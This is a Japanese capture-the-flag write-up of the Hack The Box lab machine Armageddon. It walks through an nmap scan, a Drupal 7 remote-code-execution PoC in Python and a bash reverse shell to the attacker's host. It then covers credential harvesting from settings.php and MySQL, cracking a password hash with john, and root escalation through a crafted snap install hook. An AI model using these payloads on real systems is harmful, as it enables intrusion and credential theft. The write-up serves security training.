Hack The Box: Armageddonのwriteup。
初期侵入までは順調だったが、権限昇格に苦戦した。一部ヒントを参考にして解けたが、もう少し注意深くコマンドの結果を見ていれば、多分ノーヒントで解けただろう。悔しい。。。
以下はnmapのスキャン結果。
└─$ nmap -Pn -A $RHOST -oG general-portscan.txt
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-31 07:58 EST
Nmap scan report for 10.129.48.89
Host is up (0.46s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 82:c6:bb:c7:02:6a:93:bb:7c:cb:dd:9c:30:93:79:34 (RSA)
| 256 3a:ca:95:30:f3:12:d7:ca:45:05:bc:c7:f1:16:bb:fc (ECDSA)
|_ 256 7a:d4:b3:68:79:cf:62:8a:7d:5a:61:e7:06:0f:5f:33 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-title: Welcome to Armageddon | Armageddon
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 82.19 seconds
80番ポートにてDrupal バージョン7が実行されている模様。
http://10.129.48.89/CHANGELOG.txt
を確認したところ、Drupalのバージョンは7.56と判明。
ググってみたところ、該当のバージョンには遠隔コード実行の脆弱性があるらしい。
PoCはこちらから入手。
以下はPoC。
import requests
import re
HOST="http://10.129.48.89/"
get_params = {'q':'user/password', 'name[#post_render][]':'passthru', 'name[#markup]':'id', 'name[#type]':'markup'}
post_params = {'form_id':'user_pass', '_triggering_element_name':'name'}
r = requests.post(HOST, data=post_params, params=get_params)
m = re.search(r'<input type="hidden" name="form_build_id" value="([^"]+)" />', r.text)
if m:
found = m.group(1)
get_params = {'q':'file/ajax/name/#value/' + found}
post_params = {'form_build_id':found}
r = requests.post(HOST, data=post_params, params=get_params)
print(r.text)
上記はid
コマンドを実行するためのPoCだが、'name[#markup]':'id'
のid
の部分を書き換えることで任意のコマンドを実行可能。
PoCを実行したところ、id
コマンドの実行に成功した。現在のユーザーはapache
の模様。
└─$ python3 poc.py
uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0
[{"command":"settings","settings":{"basePath":"\/","pathPrefix":"","ajaxPageState":{"theme":"bartik","theme_token":"YDncidZgHplcl8obWbUZ007a9OncIIS9f4O_fmWOHeY"}},"merge":true},{"command":"insert","method":"replaceWith","selector":null,"data":"","settings":{"basePath":"\/","pathPrefix":"","ajaxPageState":{"theme":"bartik","theme_token":"YDncidZgHplcl8obWbUZ007a9OncIIS9f4O_fmWOHeY"}}}]
より対話的にコマンドを実行するため、以下のようにPoCを書き換えてbashリバースシェルのセッションを張った。(最初はmsfvenomで作成したリバースシェルを仕込もうとしたのだが、バイナリを標的マシンに仕込むところまでは行けたが、権限の問題でバイナリを実行できなかった。)
## modify PoC as below
get_params = {'q':'user/password', 'name[#post_render][]':'passthru', 'name[#markup]':'/bin/bash -i >& /dev/tcp/10.10.16.174/53 0>&1', 'name[#type]':'markup'}
## run PoC
python3 poc.py
└─$ rlwrap nc -nvlp 53
listening on [any] 53 ...
connect to [10.10.16.174] from (UNKNOWN) [10.129.48.89] 49606
bash: no job control in this shell
bash-4.2$
bash-4.2$ id
uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0
さて、apache
ユーザーとして初期侵入には成功したが、/root
ディレクトリはおろか、/home
ディレクトリにすらアクセスできなかった。
bash-4.2$ ls -la /home
ls -la /home
ls: cannot open directory /home: Permission denied
/etc/passwd
よりbrucetherealadmin
というユーザー名を発見。
bash-4.2$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
mysql:x:27:27:MariaDB Server:/var/lib/mysql:/sbin/nologin
brucetherealadmin:x:1000:1000::/home/brucetherealadmin:/bin/bash
フラグを取るためには最低でもbrucetherealadmin
に昇格する必要がある。
列挙したところ、カーネルやsudoのバージョンが古かったので、これらの脆弱性を突いて権限昇格できないか試してみたが、権限の問題でエクスプロイトを実行できなかった。
## failed to exploit CVE-2021-3156
bash-4.2$ ./exploit_nss.py
./exploit_nss.py
bash: ./exploit_nss.py: Permission denied
## failed to exploit Dirty Cow
bash-4.2$ ./dirtycow-40839
./dirtycow-40839
bash: ./dirtycow-40839: Permission denied
ほかに権限昇格の突破口になりそうなものは見つからなかったので、アプリケーションの設定ファイル等から、認証情報を窃取する方向へと切り替えてみた。
以下はnetstatコマンドの結果。3306番ポート (MySQL)が待ち受け状態になっている。
bash-4.2$ netstat -an
netstat -an
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN
tcp 0 12 10.129.48.89:47026 10.10.16.174:53 ESTABLISHED
tcp6 0 0 :::80 :::* LISTEN
tcp6 0 0 :::22 :::* LISTEN
tcp6 0 0 ::1:25 :::* LISTEN
tcp6 0 0 10.129.48.89:80 10.10.16.174:34262 ESTABLISHED
udp 0 0 0.0.0.0:68 0.0.0.0:*
raw6 0 0 :::58 :::* 7
bash-4.2$ netstat -an | grep -i mysql
netstat -an | grep -i mysql
unix 2 [ ACC ] STREAM LISTENING 19987 /var/lib/mysql/mysql.sock
unix 3 [ ] STREAM CONNECTED 26776 /var/lib/mysql/mysql.sock
/var/www/html
の中にMySQLのインストール・ガイダンスと思われるファイルINSTALL.mysql.txt
も発見。
bash-4.2$ pwd
pwd
/var/www/html
bash-4.2$ ls -la
ls -la
total 284
drwxr-xr-x. 9 apache apache 4096 Dec 14 2020 .
drwxr-xr-x. 4 root root 33 Dec 3 2020 ..
-rw-r--r--. 1 apache apache 317 Jun 21 2017 .editorconfig
-rw-r--r--. 1 apache apache 174 Jun 21 2017 .gitignore
-rw-r--r--. 1 apache apache 6112 Jun 21 2017 .htaccess
-rw-r--r--. 1 apache apache 111613 Jun 21 2017 CHANGELOG.txt
-rw-r--r--. 1 apache apache 1481 Jun 21 2017 COPYRIGHT.txt
-rw-r--r--. 1 apache apache 1717 Jun 21 2017 INSTALL.mysql.txt
-rw-r--r--. 1 apache apache 1874 Jun 21 2017 INSTALL.pgsql.txt
-rw-r--r--. 1 apache apache 1298 Jun 21 2017 INSTALL.sqlite.txt
-rw-r--r--. 1 apache apache 17995 Jun 21 2017 INSTALL.txt
-rw-r--r--. 1 apache apache 18092 Nov 16 2016 LICENSE.txt
-rw-r--r--. 1 apache apache 8710 Jun 21 2017 MAINTAINERS.txt
-rw-r--r--. 1 apache apache 5382 Jun 21 2017 README.txt
-rw-r--r--. 1 apache apache 10123 Jun 21 2017 UPGRADE.txt
-rw-r--r--. 1 apache apache 6604 Jun 21 2017 authorize.php
-rw-r--r--. 1 apache apache 720 Jun 21 2017 cron.php
drwxr-xr-x. 4 apache apache 4096 Jun 21 2017 includes
-rw-r--r--. 1 apache apache 529 Jun 21 2017 index.php
-rw-r--r--. 1 apache apache 703 Jun 21 2017 install.php
drwxr-xr-x. 4 apache apache 4096 Dec 4 2020 misc
drwxr-xr-x. 42 apache apache 4096 Jun 21 2017 modules
drwxr-xr-x. 5 apache apache 70 Jun 21 2017 profiles
-rw-r--r--. 1 apache apache 2189 Jun 21 2017 robots.txt
drwxr-xr-x. 2 apache apache 261 Jun 21 2017 scripts
drwxr-xr-x. 4 apache apache 75 Jun 21 2017 sites
drwxr-xr-x. 7 apache apache 94 Jun 21 2017 themes
-rw-r--r--. 1 apache apache 19986 Jun 21 2017 update.php
-rw-r--r--. 1 apache apache 2200 Jun 21 2017 web.config
-rw-r--r--. 1 apache apache 417 Jun 21 2017 xmlrpc.php
おそらくDrupalはMySQLをデータベースとして使用しているのだろう。
なので、DrupalやMySQLの設定ファイル等を中心にパスワードなどの情報が載っていないか調べてみた。とくに/var/www/html
を重点的に調べた。
以下のgrepコマンドでパスワード文字列を含むファイルが無いか検索。
grep -i password -R /var/www/html 2>/dev/null
ほかにも気になったファイルをひとつずつ調べてみた。
しかし、それらしいものは見つからず。。。
ヒントを見てみた。
- Weak Credentials
- Clear Text Credentials
- Misconfiguration
どうやら設定ファイル等から認証情報を窃取するというアプローチは間違っていないようだ。
ググったところ、/sites/default/settings.php
にDrupalのユーザー情報が記載されている場合があるらしい。
/var/www/html/sites/default/settings.php
を確認したところ、以下のユーザー情報を発見した。
$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupal',
'username' => 'drupaluser',
'password' => 'CQHEy@9M*m23gBVj',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
),
);
(実は先述したgrepコマンドにもちゃんと引っかかっていたのだが、見落としていた。)
上記より、ユーザー名drupaluser
、パスワードCQHEy@9M*m23gBVj
、そしてMySQLデータベース名drupal
が判明した。
上記のクレデンシャルを使ってdrupal
データベースにアクセスすれば、さらなるユーザー情報が見つかるかもしれない。
が、ここでまたしても少しハマってしまった。
以下のmysqlコマンドでデータベースに対話的に接続しようとしたのだが、MySQLのプロンプトが起動しなかった。
mysql -u drupaluser -p'CQHEy@9M*m23gBVj' -h localhost
mysql -u drupaluser -p'CQHEy@9M*m23gBVj' drupal
mysql -h localhost -u drupaluser -p drupal # enter password when prompted
で、ググってみたところ、他所のwriteupが検索結果に上がってきて、それによるとどうやら-e
オプションを使うことで、コマンドラインからSQL文を送れるらしい。
mysql -u drupaluser -p"CQHEy@9M*m23gBVj" drupal -e "show tables"
テーブルの一覧が現れた。
bash-4.2$ mysql -u drupaluser -p"CQHEy@9M*m23gBVj" drupal -e "show tables"
mysql -u drupaluser -p"CQHEy@9M*m23gBVj" drupal -e "show tables"
Tables_in_drupal
actions
authmap
batch
block
block_custom
block_node_type
block_role
blocked_ips
cache
cache_block
cache_bootstrap
cache_field
cache_filter
cache_form
cache_image
cache_menu
cache_page
cache_path
comment
date_format_locale
date_format_type
date_formats
field_config
field_config_instance
field_data_body
field_data_comment_body
field_data_field_image
field_data_field_tags
field_revision_body
field_revision_comment_body
field_revision_field_image
field_revision_field_tags
file_managed
file_usage
filter
filter_format
flood
history
image_effects
image_styles
menu_custom
menu_links
menu_router
node
node_access
node_comment_statistics
node_revision
node_type
queue
rdf_mapping
registry
registry_file
role
role_permission
search_dataset
search_index
search_node_links
search_total
semaphore
sequences
sessions
shortcut_set
shortcut_set_users
system
taxonomy_index
taxonomy_term_data
taxonomy_term_hierarchy
taxonomy_vocabulary
url_alias
users
users_roles
variable
watchdog
上記より、決め打ちでusers
テーブルを調べてみたところ、brucetherealadmin
のパスワードハッシュ値$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt
を入手できた。
mysql -u drupaluser -p"CQHEy@9M*m23gBVj" drupal -e "select * from users"
bash-4.2$ mysql -u drupaluser -p"CQHEy@9M*m23gBVj" drupal -e "select * from users"
<er -p"CQHEy@9M*m23gBVj" drupal -e "select * from users"
uid name pass mail theme signature signature_format created access login status timezone language picture init data
0 NULL 0 0 0 0 NULL 0 NULL
1 brucetherealadmin $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt admin@armageddon.eu filtered_html 1606998756 1607077194 1607076276 1 Europe/London 0 admin@armageddon.eu a:1:{s:7:"overlay";i:1;}
入手したパスワードハッシュ値をクラック。パスワードはbooboo
と判明。
└─$ cat brucetherealadmin-hash.txt
$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt
└─$ john brucetherealadmin-hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Drupal7, $S$ [SHA512 128/128 AVX 2x])
Cost 1 (iteration count) is 32768 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
booboo (?)
1g 0:00:00:00 DONE (2025-02-01 21:38) 2.083g/s 483.3p/s 483.3c/s 483.3C/s tiffany..harley
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
クラックしたパスワードをもとに、suコマンドでbrucetherealadmin
に切り替わろうとしたが、エラーになってしまった。
bash-4.2$ su brucetherealadmin
su brucetherealadmin
Password: booboo
su: System error
冒頭のnmapのスキャン結果より、22番ポート (SSH)が開いていることが判明していたので、brucetherealadmin:booboo
でSSH接続したところ、ログオンできた。
└─$ ssh brucetherealadmin@$RHOST
brucetherealadmin@10.129.48.89's password:
Last login: Tue Mar 23 12:40:36 2021 from 10.10.14.2
[brucetherealadmin@armageddon ~]$ whoami
brucetherealadmin
[brucetherealadmin@armageddon ~]$ id
uid=1000(brucetherealadmin) gid=1000(brucetherealadmin) groups=1000(brucetherealadmin) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[brucetherealadmin@armageddon ~]$ pwd
/home/brucetherealadmin
一般ユーザーのフラグ/home/brucetherealadmin/user.txt
を入手。
[brucetherealadmin@armageddon ~]$ ls -la
total 16
drwx------. 2 brucetherealadmin brucetherealadmin 99 Dec 14 2020 .
drwxr-xr-x. 3 root root 31 Dec 3 2020 ..
lrwxrwxrwx. 1 root root 9 Dec 11 2020 .bash_history -> /dev/null
-rw-r--r--. 1 brucetherealadmin brucetherealadmin 18 Apr 1 2020 .bash_logout
-rw-r--r--. 1 brucetherealadmin brucetherealadmin 193 Apr 1 2020 .bash_profile
-rw-r--r--. 1 brucetherealadmin brucetherealadmin 231 Apr 1 2020 .bashrc
-r--------. 1 brucetherealadmin brucetherealadmin 33 Feb 2 02:10 user.txt
さて、rootユーザーのフラグを取るには、ここからさらにrootユーザーに権限昇格しなければいけない。
列挙したところ、brucetherealadmin
はsnapコマンドをsudoオプション付きで実行できることが判明。
[brucetherealadmin@armageddon ~]$ sudo -l
Matching Defaults entries for brucetherealadmin on armageddon:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS
LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET
XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
User brucetherealadmin may run the following commands on armageddon:
(root) NOPASSWD: /usr/bin/snap install *
snapコマンドをsudoオプション付きで実行できる場合、細工したSnapパッケージをインストールすることで権限昇格に利用できるらしい。
PoCはこちら。
標的マシンにfpmがインストールされていなかったので、攻撃マシンでSnapパッケージを作成した後、標的マシンにアップロードして実行することにした。
攻撃マシンにfpmをインストール。
sudo gem install fpm
細工したSnapパッケージを作成。
COMMAND='cat /root/root.txt > /home/brucetherealadmin/gotcha.txt; cat /home/brucetherealadmin/gotcha.txt'
mkdir -p meta/hooks
printf '#!/bin/sh\n%s; false' "$COMMAND" >meta/hooks/install
chmod +x meta/hooks/install
fpm -n xxxx -s dir -t snap -a all meta
上記のSnapパッケージがインストールされると、rootユーザーのフラグ/root/root.txt
が/home/brucetherealadmin/gotcha.txt
に書き込こまれ、標準出力に出力される。
攻撃マシン上で、Snapパッケージxxxx_1.0_all.snap
が作成された。
└─$ fpm -n xxxx -s dir -t snap -a all meta
Created package {:path=>"xxxx_1.0_all.snap"}
標的マシンにxxxx_1.0_all.snap
を仕込む。
[brucetherealadmin@armageddon ~]$ curl http://10.10.16.174/xxxx_1.0_all.snap -o xxxx_1.0_all.snap
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 4096 100 4096 0 0 3340 0 0:00:01 0:00:01 --:--:-- 3346
[brucetherealadmin@armageddon ~]$ ls -la
total 20
drwx------. 2 brucetherealadmin brucetherealadmin 124 Feb 2 03:10 .
drwxr-xr-x. 3 root root 31 Dec 3 2020 ..
lrwxrwxrwx. 1 root root 9 Dec 11 2020 .bash_history -> /dev/null
-rw-r--r--. 1 brucetherealadmin brucetherealadmin 18 Apr 1 2020 .bash_logout
-rw-r--r--. 1 brucetherealadmin brucetherealadmin 193 Apr 1 2020 .bash_profile
-rw-r--r--. 1 brucetherealadmin brucetherealadmin 231 Apr 1 2020 .bashrc
-r--------. 1 brucetherealadmin brucetherealadmin 33 Feb 2 02:10 user.txt
-rw-rw-r--. 1 brucetherealadmin brucetherealadmin 4096 Feb 2 03:11 xxxx_1.0_all.snap
[brucetherealadmin@armageddon ~]$ file xxxx_1.0_all.snap
xxxx_1.0_all.snap: Squashfs filesystem, little endian, version 4.0, 567 bytes, 5 inodes, blocksize: 131072 bytes, created: Sun Feb 2 03:09:04 2025
標的マシンにてxxxx_1.0_all.snap
をインストール。
sudo snap install xxxx_1.0_all.snap --dangerous --devmode
rootユーザーのフラグ/root/root.txt
の入手に成功。
[brucetherealadmin@armageddon ~]$ sudo snap install xxxx_1.0_all.snap --dangerous --devmode
error: cannot perform the following tasks:
- Run install hook of "xxxx" snap if present (run hook "install": 65028abbb7238d4b8ad912<REDACTED>)
[brucetherealadmin@armageddon ~]$ ls -lh
total 12K
-rw-r--r--. 1 root root 33 Feb 2 03:16 gotcha.txt
-r--------. 1 brucetherealadmin brucetherealadmin 33 Feb 2 02:10 user.txt
-rw-rw-r--. 1 brucetherealadmin brucetherealadmin 4.0K Feb 2 03:15 xxxx_1.0_all.snap